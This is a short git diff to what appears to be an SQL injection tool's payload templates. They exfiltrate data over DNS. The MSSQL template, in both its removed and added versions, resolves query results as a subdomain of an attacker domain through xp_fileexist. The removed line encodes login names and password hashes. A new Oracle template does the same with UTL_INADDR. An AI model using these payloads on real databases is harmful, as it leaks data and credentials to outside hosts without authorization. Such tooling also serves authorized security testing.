diff --git a/procs/mssqlserver/dns_request.txt b/procs/mssqlserver/dns_request.txt
index c97a469fb..eba4243af 100644
--- a/procs/mssqlserver/dns_request.txt
+++ b/procs/mssqlserver/dns_request.txt
@@ -1,5 +1,3 @@
-# Reference: http://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-karlsson.pdf
-
 DECLARE @host varchar(1024);
-SELECT @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.%DOMAIN%' FROM sys.sql_logins;
-EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');
\ No newline at end of file
+SELECT @host = (%QUERY%) + '.%DOMAIN%';
+EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');
diff --git a/procs/oracle/dns_request.txt b/procs/oracle/dns_request.txt
new file mode 100644
index 000000000..073e8fc11
--- /dev/null
+++ b/procs/oracle/dns_request.txt
@@ -0,0 +1 @@
+SELECT UTL_INADDR.GET_HOST_ADDRESS((%QUERY%)||%DOMAIN%) FROM DUAL